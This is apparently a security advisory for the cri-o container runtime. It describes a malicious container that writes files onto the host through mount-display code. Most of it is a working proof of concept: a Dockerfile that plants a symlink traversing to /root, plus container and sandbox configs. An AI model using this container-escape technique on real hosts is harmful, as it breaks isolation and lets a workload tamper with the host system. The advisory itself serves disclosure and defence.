Description
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
```
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
```
and this container config:
```
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
```
and this sandbox config
```
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
```
will create a file on host `/host/mtab`
